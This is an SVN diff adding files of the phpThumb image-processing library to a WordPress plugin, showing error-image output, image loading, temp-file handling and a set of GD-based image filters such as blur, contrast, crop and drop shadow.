+		$FontWidth  = ImageFontWidth($this->config_error_fontsize);
+		$FontHeight = ImageFontHeight($this->config_error_fontsize);
+
+		$LinesOfText = explode("\n", @wordwrap($text, floor($width / $FontWidth), "\n", true));
+		$height = max($height, count($LinesOfText) * $FontHeight);
+
+		$headers_file = '';
+		$headers_line = '';
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=') && headers_sent($headers_file, $headers_line)) {
+
+			echo "\n".'**Headers already sent in file "'.$headers_file.'" on line "'.$headers_line.'", dumping error message as text:**<br><pre>'."\n\n".$text."\n".'</pre>';
+
+		} elseif (headers_sent()) {
+
+			echo "\n".'**Headers already sent, dumping error message as text:**<br><pre>'."\n\n".$text."\n".'</pre>';
+
+		} elseif ($gdimg_error = ImageCreate($width, $height)) {
+
+			$background_color = phpthumb_functions::ImageHexColorAllocate($gdimg_error, $this->config_error_bgcolor,   true);
+			$text_color       = phpthumb_functions::ImageHexColorAllocate($gdimg_error, $this->config_error_textcolor, true);
+			ImageFilledRectangle($gdimg_error, 0, 0, $width, $height, $background_color);
+			$lineYoffset = 0;
+			foreach ($LinesOfText as $line) {
+				ImageString($gdimg_error, $this->config_error_fontsize, 2, $lineYoffset, $line, $text_color);
+				$lineYoffset += $FontHeight;
+			}
+			if (function_exists('ImageTypes')) {
+				$imagetypes = ImageTypes();
+				if ($imagetypes & IMG_PNG) {
+					header('Content-Type: image/png');
+					ImagePNG($gdimg_error);
+				} elseif ($imagetypes & IMG_GIF) {
+					header('Content-Type: image/gif');
+					ImageGIF($gdimg_error);
+				} elseif ($imagetypes & IMG_JPG) {
+					header('Content-Type: image/jpeg');
+					ImageJPEG($gdimg_error);
+				} elseif ($imagetypes & IMG_WBMP) {
+					header('Content-Type: image/vnd.wap.wbmp');
+					ImageWBMP($gdimg_error);
+				}
+			}
+			ImageDestroy($gdimg_error);
+
+		}
+		if (!headers_sent()) {
+			echo "\n".'**Failed to send graphical error image, dumping error message as text:**<br>'."\n\n".$text;
+		}
+		exit;
+		return true;
+	}
+
+	function ImageCreateFromStringReplacement(&$RawImageData, $DieOnErrors=false) {
+		// there are serious bugs in the non-bundled versions of GD which may cause
+		// PHP to segfault when calling ImageCreateFromString() - avoid if at all possible
+		// when not using a bundled version of GD2
+		if (!phpthumb_functions::gd_version()) {
+			if ($DieOnErrors) {
+				if (!headers_sent()) {
+					// base64-encoded error image in GIF format
+					$ERROR_NOGD = 'R0lGODlhIAAgALMAAAAAABQUFCQkJDY2NkZGRldXV2ZmZnJycoaGhpSUlKWlpbe3t8XFxdXV1eTk5P7+/iwAAAAAIAAgAAAE/vDJSau9WILtTAACUinDNijZtAHfCojS4W5H+qxD8xibIDE9h0OwWaRWDIljJSkUJYsN4bihMB8th3IToAKs1VtYM75cyV8sZ8vygtOE5yMKmGbO4jRdICQCjHdlZzwzNW4qZSQmKDaNjhUMBX4BBAlmMywFSRWEmAI6b5gAlhNxokGhooAIK5o/pi9vEw4Lfj4OLTAUpj6IabMtCwlSFw0DCKBoFqwAB04AjI54PyZ+yY3TD0ss2YcVmN/gvpcu4TOyFivWqYJlbAHPpOntvxNAACcmGHjZzAZqzSzcq5fNjxFmAFw9iFRunD1epU6tsIPmFCAJnWYE0FURk7wJDA0MTKpEzoWAAskiAAA7';
+					header('Content-Type: image/gif');
+					echo base64_decode($ERROR_NOGD);
+				} else {
+					echo '*** ERROR: No PHP-GD support available ***';
+				}
+				exit;
+			} else {
+				$this->DebugMessage('ImageCreateFromStringReplacement() failed: gd_version says "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+				return false;
+			}
+		}
+		if (phpthumb_functions::gd_is_bundled()) {
+			$this->DebugMessage('ImageCreateFromStringReplacement() calling built-in ImageCreateFromString()', __FILE__, __LINE__);
+			return @ImageCreateFromString($RawImageData);
+		}
+
+		switch (substr($RawImageData, 0, 3)) {
+			case 'GIF':
+				$ICFSreplacementFunctionName = 'ImageCreateFromGIF';
+				break;
+			case "\xFF\xD8\xFF":
+				$ICFSreplacementFunctionName = 'ImageCreateFromJPEG';
+				break;
+			case "\x89".'PN':
+				$ICFSreplacementFunctionName = 'ImageCreateFromPNG';
+				break;
+			default:
+				$this->DebugMessage('ImageCreateFromStringReplacement() failed: unknown fileformat signature "'.phpthumb_functions::HexCharDisplay(substr($RawImageData, 0, 3)).'"', __FILE__, __LINE__);
+				return false;
+				break;
+		}
+		if ($tempnam = $this->phpThumb_tempnam()) {
+			if ($fp_tempnam = @fopen($tempnam, 'wb')) {
+				fwrite($fp_tempnam, $RawImageData);
+				fclose($fp_tempnam);
+				if (($ICFSreplacementFunctionName == 'ImageCreateFromGIF') && !function_exists($ICFSreplacementFunctionName)) {
+
+					// Need to create from GIF file, but ImageCreateFromGIF does not exist
+					ob_start();
+					if (!@include_once(dirname(__FILE__).'/phpthumb.gif.php')) {
+						$ErrorMessage = 'Failed to include required file "'.dirname(__FILE__).'/phpthumb.gif.php" in '.__FILE__.' on line '.__LINE__;
+						$this->DebugMessage($ErrorMessage, __FILE__, __LINE__);
+					}
+					ob_end_clean();
+					// gif_loadFileToGDimageResource() cannot read from raw data, write to file first
+					if ($tempfilename = $this->phpThumb_tempnam()) {
+						if ($fp_tempfile = @fopen($tempfilename, 'wb')) {
+							fwrite($fp_tempfile, $RawImageData);
+							fclose($fp_tempfile);
+							$gdimg_source = gif_loadFileToGDimageResource($tempfilename);
+							$this->DebugMessage('gif_loadFileToGDimageResource('.$tempfilename.') completed', __FILE__, __LINE__);
+							$this->DebugMessage('deleting "'.$tempfilename.'"', __FILE__, __LINE__);
+							unlink($tempfilename);
+							return $gdimg_source;
+							break;
+						} else {
+							$ErrorMessage = 'Failed to open tempfile in '.__FILE__.' on line '.__LINE__;
+							$this->DebugMessage($ErrorMessage, __FILE__, __LINE__);
+						}
+					} else {
+						$ErrorMessage = 'Failed to open generate tempfile name in '.__FILE__.' on line '.__LINE__;
+						$this->DebugMessage($ErrorMessage, __FILE__, __LINE__);
+					}
+
+				} elseif (function_exists($ICFSreplacementFunctionName) && ($gdimg_source = @$ICFSreplacementFunctionName($tempnam))) {
+
+					// great
+					$this->DebugMessage($ICFSreplacementFunctionName.'('.$tempnam.') succeeded', __FILE__, __LINE__);
+					$this->DebugMessage('deleting "'.$tempnam.'"', __FILE__, __LINE__);
+					unlink($tempnam);
+					return $gdimg_source;
+
+				} else {
+
+					// GD functions not available, or failed to create image
+					$this->DebugMessage($ICFSreplacementFunctionName.'('.$tempnam.') '.(function_exists($ICFSreplacementFunctionName) ? 'failed' : 'does not exist'), __FILE__, __LINE__);
+					if (isset($_GET['phpThumbDebug'])) {
+						$this->phpThumbDebug();
+					}
+
+				}
+			} else {
+				$ErrorMessage = 'Failed to fopen('.$tempnam.', "wb") in '.__FILE__.' on line '.__LINE__."\n".'You may need to set $PHPTHUMB_CONFIG[temp_directory] in phpThumb.config.php';
+				if (ini_get('safe_mode')) {
+					$ErrorMessage = 'ImageCreateFromStringReplacement() failed in '.__FILE__.' on line '.__LINE__.': cannot create temp file in SAFE_MODE';
+				}
+				$this->DebugMessage($ErrorMessage, __FILE__, __LINE__);
+			}
+			$this->DebugMessage('deleting "'.$tempnam.'"', __FILE__, __LINE__);
+			@unlink($tempnam);
+		} else {
+			$ErrorMessage = 'Failed to generate phpThumb_tempnam() in '.__FILE__.' on line '.__LINE__."\n".'You may need to set $PHPTHUMB_CONFIG[temp_directory] in phpThumb.config.php';
+			if (ini_get('safe_mode')) {
+				$ErrorMessage = 'ImageCreateFromStringReplacement() failed in '.__FILE__.' on line '.__LINE__.': cannot create temp file in SAFE_MODE';
+			}
+		}
+		if ($DieOnErrors && $ErrorMessage) {
+			return $this->ErrorImage($ErrorMessage);
+		}
+		return false;
+	}
+
+	function ImageResizeFunction(&$dst_im, &$src_im, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH) {
+		$this->DebugMessage('ImageResizeFunction($o, $s, '.$dstX.', '.$dstY.', '.$srcX.', '.$srcY.', '.$dstW.', '.$dstH.', '.$srcW.', '.$srcH.')', __FILE__, __LINE__);
+		if (($dstW == $srcW) && ($dstH == $srcH)) {
+			return ImageCopy($dst_im, $src_im, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH);
+		}
+		if (phpthumb_functions::gd_version() >= 2.0) {
+			if ($this->config_disable_imagecopyresampled) {
+				return phpthumb_functions::ImageCopyResampleBicubic($dst_im, $src_im, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);
+			}
+			return ImageCopyResampled($dst_im, $src_im, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);
+		}
+		return ImageCopyResized($dst_im, $src_im, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);
+	}
+
+	function InitializeTempDirSetting() {
+		$this->config_temp_directory = realpath($this->config_temp_directory ? $this->config_temp_directory : (getenv('TMPDIR') ? getenv('TMPDIR') : getenv('TMP')));
+		return true;
+	}
+
+	function phpThumb_tempnam() {
+		$this->InitializeTempDirSetting();
+		$tempnam = realpath(tempnam($this->config_temp_directory, 'pThumb'));
+		$this->DebugMessage('phpThumb_tempnam() returning "'.$tempnam.'"', __FILE__, __LINE__);
+		return $tempnam;
+	}
+
+	function DebugMessage($message, $file='', $line='') {
+		$this->debugmessages[] = $message.($file ? ' in file "'.(basename($file) ? basename($file) : $file).'"' : '').($line ? ' on line '.$line : '');
+		return true;
+	}
+
+	function DebugTimingMessage($message, $file='', $line='', $timestamp=0) {
+		if (!$timestamp) {
+			$timestamp = array_sum(explode(' ', microtime()));
+		}
+		$this->debugtiming[number_format($timestamp, 6, '.', '')] = ': '.$message.($file ? ' in file "'.(basename($file) ? basename($file) : $file).'"' : '').($line ? ' on line '.$line : '');
+		return true;
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.filters.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.filters.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.filters.php	(revision 44)
@@ -0,0 +1,1537 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// phpthumb.filters.php - image processing filter functions //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+class phpthumb_filters {
+
+	var $phpThumbObject = null;
+
+	function phpthumb_filters() {
+		return true;
+	}
+
+	function ApplyMask(&$gdimg_mask, &$gdimg_image) {
+		if (phpthumb_functions::gd_version() < 2) {
+			$this->DebugMessage('Skipping ApplyMask() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+			return false;
+		}
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.2', '>=')) {
+
+			$this->DebugMessage('Using alpha ApplyMask() technique', __FILE__, __LINE__);
+			if ($gdimg_mask_resized = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg_image), ImageSY($gdimg_image))) {
+
+				ImageCopyResampled($gdimg_mask_resized, $gdimg_mask, 0, 0, 0, 0, ImageSX($gdimg_image), ImageSY($gdimg_image), ImageSX($gdimg_mask), ImageSY($gdimg_mask));
+				if ($gdimg_mask_blendtemp = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg_image), ImageSY($gdimg_image))) {
+
+					$color_background = ImageColorAllocate($gdimg_mask_blendtemp, 0, 0, 0);
+					ImageFilledRectangle($gdimg_mask_blendtemp, 0, 0, ImageSX($gdimg_mask_blendtemp), ImageSY($gdimg_mask_blendtemp), $color_background);
+					ImageAlphaBlending($gdimg_mask_blendtemp, false);
+					ImageSaveAlpha($gdimg_mask_blendtemp, true);
+					for ($x = 0; $x < ImageSX($gdimg_image); $x++) {
+						for ($y = 0; $y < ImageSY($gdimg_image); $y++) {
+							//$RealPixel = phpthumb_functions::GetPixelColor($gdimg_mask_blendtemp, $x, $y);
+							$RealPixel = phpthumb_functions::GetPixelColor($gdimg_image, $x, $y);
+							$MaskPixel = phpthumb_functions::GrayscalePixel(phpthumb_functions::GetPixelColor($gdimg_mask_resized, $x, $y));
+							$MaskAlpha = 127 - (floor($MaskPixel['red'] / 2) * (1 - ($RealPixel['alpha'] / 127)));
+							$newcolor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_mask_blendtemp, $RealPixel['red'], $RealPixel['green'], $RealPixel['blue'], $MaskAlpha);
+							ImageSetPixel($gdimg_mask_blendtemp, $x, $y, $newcolor);
+						}
+					}
+					ImageAlphaBlending($gdimg_image, false);
+					ImageSaveAlpha($gdimg_image, true);
+					ImageCopy($gdimg_image, $gdimg_mask_blendtemp, 0, 0, 0, 0, ImageSX($gdimg_mask_blendtemp), ImageSY($gdimg_mask_blendtemp));
+					ImageDestroy($gdimg_mask_blendtemp);
+
+				} else {
+					$this->DebugMessage('ImageCreateFunction() failed', __FILE__, __LINE__);
+				}
+				ImageDestroy($gdimg_mask_resized);
+
+			} else {
+				$this->DebugMessage('ImageCreateFunction() failed', __FILE__, __LINE__);
+			}
+
+		} else {
+			// alpha merging requires PHP v4.3.2+
+			$this->DebugMessage('Skipping ApplyMask() technique because PHP is v"'.phpversion().'"', __FILE__, __LINE__);
+		}
+		return true;
+	}
+
+
+    function Bevel(&$gdimg, $width, $hexcolor1, $hexcolor2) {
+        $width     = ($width     ? $width     : 5);
+        $hexcolor1 = ($hexcolor1 ? $hexcolor1 : 'FFFFFF');
+        $hexcolor2 = ($hexcolor2 ? $hexcolor2 : '000000');
+
+        ImageAlphaBlending($gdimg, true);
+        for ($i = 0; $i < $width; $i++) {
+            $alpha = round(($i / $width) * 127);
+            $color1 = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor1, false, $alpha);
+            $color2 = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor2, false, $alpha);
+
+            ImageLine($gdimg,                   $i,                   $i + 1,                   $i, ImageSY($gdimg) - $i - 1, $color1); // left
+            ImageLine($gdimg,                   $i,                   $i    , ImageSX($gdimg) - $i,                   $i    , $color1); // top
+            ImageLine($gdimg, ImageSX($gdimg) - $i, ImageSY($gdimg) - $i - 1, ImageSX($gdimg) - $i,                   $i + 1, $color2); // right
+            ImageLine($gdimg, ImageSX($gdimg) - $i, ImageSY($gdimg) - $i    ,                   $i, ImageSY($gdimg) - $i    , $color2); // bottom
+        }
+        return true;
+    }
+
+
+	function Blur(&$gdimg, $radius=0.5) {
+		// Taken from Torstein Hønsi's phpUnsharpMask (see phpthumb.unsharp.php)
+
+		$radius = round(max(0, min($radius, 50)) * 2);
+		if (!$radius) {
+			return false;
+		}
+
+		$w = ImageSX($gdimg);
+		$h = ImageSY($gdimg);
+		if ($imgBlur = ImageCreateTrueColor($w, $h)) {
+			// Gaussian blur matrix:
+			//	1	2	1
+			//	2	4	2
+			//	1	2	1
+
+			// Move copies of the image around one pixel at the time and merge them with weight
+			// according to the matrix. The same matrix is simply repeated for higher radii.
+			for ($i = 0; $i < $radius; $i++)	{
+				ImageCopy     ($imgBlur, $gdimg, 0, 0, 1, 1, $w - 1, $h - 1);            // up left
+				ImageCopyMerge($imgBlur, $gdimg, 1, 1, 0, 0, $w,     $h,     50.00000);  // down right
+				ImageCopyMerge($imgBlur, $gdimg, 0, 1, 1, 0, $w - 1, $h,     33.33333);  // down left
+				ImageCopyMerge($imgBlur, $gdimg, 1, 0, 0, 1, $w,     $h - 1, 25.00000);  // up right
+				ImageCopyMerge($imgBlur, $gdimg, 0, 0, 1, 0, $w - 1, $h,     33.33333);  // left
+				ImageCopyMerge($imgBlur, $gdimg, 1, 0, 0, 0, $w,     $h,     25.00000);  // right
+				ImageCopyMerge($imgBlur, $gdimg, 0, 0, 0, 1, $w,     $h - 1, 20.00000);  // up
+				ImageCopyMerge($imgBlur, $gdimg, 0, 1, 0, 0, $w,     $h,     16.666667); // down
+				ImageCopyMerge($imgBlur, $gdimg, 0, 0, 0, 0, $w,     $h,     50.000000); // center
+				ImageCopy     ($gdimg, $imgBlur, 0, 0, 0, 0, $w,     $h);
+			}
+			return true;
+		}
+		return false;
+	}
+
+
+	function BlurGaussian(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_GAUSSIAN_BLUR)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_GAUSSIAN_BLUR)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		$this->DebugMessage('FAILED: phpthumb_filters::BlurGaussian($gdimg) [using phpthumb_filters::Blur() instead]', __FILE__, __LINE__);
+		return phpthumb_filters::Blur($gdimg, 0.5);
+	}
+
+
+	function BlurSelective(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_SELECTIVE_BLUR)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_SELECTIVE_BLUR)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		// currently not implemented "the hard way"
+		$this->DebugMessage('FAILED: phpthumb_filters::BlurSelective($gdimg) [function not implemented]', __FILE__, __LINE__);
+		return false;
+	}
+
+
+	function Brightness(&$gdimg, $amount=0) {
+		if ($amount == 0) {
+			return true;
+		}
+		$amount = max(-255, min(255, $amount));
+
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_BRIGHTNESS, $amount)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_BRIGHTNESS, '.$amount.')', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+
+		$scaling = (255 - abs($amount)) / 255;
+		$baseamount = (($amount > 0) ? $amount : 0);
+		for ($x = 0; $x < ImageSX($gdimg); $x++) {
+			for ($y = 0; $y < ImageSY($gdimg); $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				foreach ($OriginalPixel as $key => $value) {
+					$NewPixel[$key] = round($baseamount + ($OriginalPixel[$key] * $scaling));
+				}
+				$newColor = ImageColorAllocate($gdimg, $NewPixel['red'], $NewPixel['green'], $NewPixel['blue']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
+	function Contrast(&$gdimg, $amount=0) {
+		if ($amount == 0) {
+			return true;
+		}
+		$amount = max(-255, min(255, $amount));
+
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			// ImageFilter(IMG_FILTER_CONTRAST) has range +100 to -100 (positive numbers make it darker!)
+			$amount = ($amount / 255) * -100;
+			if (ImageFilter($gdimg, IMG_FILTER_CONTRAST, $amount)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_CONTRAST, '.$amount.')', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+
+		if ($amount > 0) {
+			$scaling = 1 + ($amount / 255);
+		} else {
+			$scaling = (255 - abs($amount)) / 255;
+		}
+		for ($x = 0; $x < ImageSX($gdimg); $x++) {
+			for ($y = 0; $y < ImageSY($gdimg); $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				foreach ($OriginalPixel as $key => $value) {
+					$NewPixel[$key] = min(255, max(0, round($OriginalPixel[$key] * $scaling)));
+				}
+				$newColor = ImageColorAllocate($gdimg, $NewPixel['red'], $NewPixel['green'], $NewPixel['blue']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+	}
+
+
+	function Colorize(&$gdimg, $amount, $targetColor) {
+		$amount      = (is_numeric($amount)                          ? $amount      : 25);
+		$amountPct   = $amount / 100;
+		$targetColor = (phpthumb_functions::IsHexColor($targetColor) ? $targetColor : 'gray');
+
+		if ($amount == 0) {
+			return true;
+		}
+
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if ($targetColor == 'gray') {
+				$targetColor = '808080';
+			}
+			$r = round($amountPct * hexdec(substr($targetColor, 0, 2)));
+			$g = round($amountPct * hexdec(substr($targetColor, 2, 2)));
+			$b = round($amountPct * hexdec(substr($targetColor, 4, 2)));
+			if (ImageFilter($gdimg, IMG_FILTER_COLORIZE, $r, $g, $b)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_COLORIZE)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+
+		// overridden below for grayscale
+		if ($targetColor != 'gray') {
+			$TargetPixel['red']   = hexdec(substr($targetColor, 0, 2));
+			$TargetPixel['green'] = hexdec(substr($targetColor, 2, 2));
+			$TargetPixel['blue']  = hexdec(substr($targetColor, 4, 2));
+		}
+
+		for ($x = 0; $x < ImageSX($gdimg); $x++) {
+			for ($y = 0; $y < ImageSY($gdimg); $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				if ($targetColor == 'gray') {
+					$TargetPixel = phpthumb_functions::GrayscalePixel($OriginalPixel);
+				}
+				foreach ($TargetPixel as $key => $value) {
+					$NewPixel[$key] = round(max(0, min(255, ($OriginalPixel[$key] * ((100 - $amount) / 100)) + ($TargetPixel[$key] * $amountPct))));
+				}
+				//$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, $NewPixel['red'], $NewPixel['green'], $NewPixel['blue'], $OriginalPixel['alpha']);
+				$newColor = ImageColorAllocate($gdimg, $NewPixel['red'], $NewPixel['green'], $NewPixel['blue']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
+	function Crop(&$gdimg, $left=0, $right=0, $top=0, $bottom=0) {
+		if (!$left && !$right && !$top && !$bottom) {
+			return true;
+		}
+		$oldW = ImageSX($gdimg);
+		$oldH = ImageSY($gdimg);
+		if (($left   > 0) && ($left   < 1)) { $left   = round($left   * $oldW); }
+		if (($right  > 0) && ($right  < 1)) { $right  = round($right  * $oldW); }
+		if (($top    > 0) && ($top    < 1)) { $top    = round($top    * $oldH); }
+		if (($bottom > 0) && ($bottom < 1)) { $bottom = round($bottom * $oldH); }
+		$right  = min($oldW - $left - 1, $right);
+		$bottom = min($oldH - $top  - 1, $bottom);
+		$newW = $oldW - $left - $right;
+		$newH = $oldH - $top  - $bottom;
+
+		if ($imgCropped = ImageCreateTrueColor($newW, $newH)) {
+			ImageCopy($imgCropped, $gdimg, 0, 0, $left, $top, $newW, $newH);
+			if ($gdimg = ImageCreateTrueColor($newW, $newH)) {
+				ImageCopy($gdimg, $imgCropped, 0, 0, 0, 0, $newW, $newH);
+				ImageDestroy($imgCropped);
+				return true;
+			}
+			ImageDestroy($imgCropped);
+		}
+		return false;
+	}
+
+
+	function Desaturate(&$gdimg, $amount, $color='') {
+		if ($amount == 0) {
+			return true;
+		}
+		return phpthumb_filters::Colorize($gdimg, $amount, (phpthumb_functions::IsHexColor($color) ? $color : 'gray'));
+	}
+
+
+	function DropShadow(&$gdimg, $distance, $width, $hexcolor, $angle, $fade) {
+		if (phpthumb_functions::gd_version() < 2) {
+			return false;
+		}
+		$distance = ($distance ? $distance : 10);
+		$width    = ($width    ? $width    : 10);
+		$hexcolor = ($hexcolor ? $hexcolor : '000000');
+		$angle    = ($angle    ? $angle    : 225);
+		$fade     = ($fade     ? $fade     : 1);
+
+		$width_shadow  = cos(deg2rad($angle)) * ($distance + $width);
+		$height_shadow = sin(deg2rad($angle)) * ($distance + $width);
+
+		$scaling = min(ImageSX($gdimg) / (ImageSX($gdimg) + abs($width_shadow)), ImageSY($gdimg) / (ImageSY($gdimg) + abs($height_shadow)));
+
+		for ($i = 0; $i < $width; $i++) {
+			$WidthAlpha[$i] = (abs(($width / 2) - $i) / $width) * $fade;
+			$Offset['x'] = cos(deg2rad($angle)) * ($distance + $i);
+			$Offset['y'] = sin(deg2rad($angle)) * ($distance + $i);
+		}
+
+		$tempImageWidth  = ImageSX($gdimg)  + abs($Offset['x']);
+		$tempImageHeight = ImageSY($gdimg) + abs($Offset['y']);
+
+		if ($gdimg_dropshadow_temp = phpthumb_functions::ImageCreateFunction($tempImageWidth, $tempImageHeight)) {
+
+			ImageAlphaBlending($gdimg_dropshadow_temp, false);
+			ImageSaveAlpha($gdimg_dropshadow_temp, true);
+			$transparent1 = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_dropshadow_temp, 0, 0, 0, 127);
+			ImageFill($gdimg_dropshadow_temp, 0, 0, $transparent1);
+
+			for ($x = 0; $x < ImageSX($gdimg); $x++) {
+				for ($y = 0; $y < ImageSY($gdimg); $y++) {
+					$PixelMap[$x][$y] = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				}
+			}
+			for ($x = 0; $x < $tempImageWidth; $x++) {
+				for ($y = 0; $y < $tempImageHeight; $y++) {
+					//for ($i = 0; $i < $width; $i++) {
+					for ($i = 0; $i < 1; $i++) {
+						if (!isset($PixelMap[$x][$y]['alpha']) || ($PixelMap[$x][$y]['alpha'] > 0)) {
+							if (isset($PixelMap[$x + $Offset['x']][$y + $Offset['y']]['alpha']) && ($PixelMap[$x + $Offset['x']][$y + $Offset['y']]['alpha'] < 127)) {
+								$thisColor = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor, false, $PixelMap[$x + $Offset['x']][$y + $Offset['y']]['alpha']);
+								ImageSetPixel($gdimg_dropshadow_temp, $x, $y, $thisColor);
+							}
+						}
+					}
+				}
+			}
+
+			ImageAlphaBlending($gdimg_dropshadow_temp, true);
+			for ($x = 0; $x < ImageSX($gdimg); $x++) {
+				for ($y = 0; $y < ImageSY($gdimg); $y++) {
+					if ($PixelMap[$x][$y]['alpha'] < 127) {
+						$thisColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_dropshadow_temp, $PixelMap[$x][$y]['red'], $PixelMap[$x][$y]['green'], $PixelMap[$x][$y]['blue'], $PixelMap[$x][$y]['alpha']);
+						ImageSetPixel($gdimg_dropshadow_temp, $x, $y, $thisColor);
+					}
+				}
+			}
+
+			ImageSaveAlpha($gdimg, true);
+			ImageAlphaBlending($gdimg, false);
+			//$this->is_alpha = true;
+			$transparent2 = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, 0, 0, 0, 127);
+			ImageFilledRectangle($gdimg, 0, 0, ImageSX($gdimg), ImageSY($gdimg), $transparent2);
+			ImageCopyResampled($gdimg, $gdimg_dropshadow_temp, 0, 0, 0, 0, ImageSX($gdimg), ImageSY($gdimg), ImageSX($gdimg_dropshadow_temp), ImageSY($gdimg_dropshadow_temp));
+
+			ImageDestroy($gdimg_dropshadow_temp);
+		}
+		return true;
+	}
+
+
+	function EdgeDetect(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_EDGEDETECT)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_EDGEDETECT)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		// currently not implemented "the hard way"
+		$this->DebugMessage('FAILED: phpthumb_filters::EdgeDetect($gdimg) [function not implemented]', __FILE__, __LINE__);
+		return false;
+	}
+
+
+	function Elipse($gdimg) {
+		if (phpthumb_functions::gd_version() < 2) {
+			return false;
+		}
+		// generate mask at twice desired resolution and downsample afterwards for easy antialiasing
+		if ($gdimg_elipsemask_double = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg) * 2, ImageSY($gdimg) * 2)) {
+			if ($gdimg_elipsemask = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg), ImageSY($gdimg))) {
+
+				$color_transparent = ImageColorAllocate($gdimg_elipsemask_double, 255, 255, 255);
+				ImageFilledEllipse($gdimg_elipsemask_double, ImageSX($gdimg), ImageSY($gdimg), (ImageSX($gdimg) - 1) * 2, (ImageSY($gdimg) - 1) * 2, $color_transparent);
+				ImageCopyResampled($gdimg_elipsemask, $gdimg_elipsemask_double, 0, 0, 0, 0, ImageSX($gdimg), ImageSY($gdimg), ImageSX($gdimg) * 2, ImageSY($gdimg) * 2);
+
+				phpthumb_filters::ApplyMask($gdimg_elipsemask, $gdimg);
+				ImageDestroy($gdimg_elipsemask);
+				return true;
+
+			} else {
+				$this->DebugMessage('$gdimg_elipsemask = phpthumb_functions::ImageCreateFunction() failed', __FILE__, __LINE__);
+			}
+			ImageDestroy($gdimg_elipsemask_double);
+		} else {
+			$this->DebugMessage('$gdimg_elipsemask_double = phpthumb_functions::ImageCreateFunction() failed', __FILE__, __LINE__);
+		}
+		return false;
+	}
+
+
+	function Emboss(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_EMBOSS)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_EMBOSS)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		// currently not implemented "the hard way"
+		$this->DebugMessage('FAILED: phpthumb_filters::Emboss($gdimg) [function not implemented]', __FILE__, __LINE__);
+		return false;
+	}
+
+
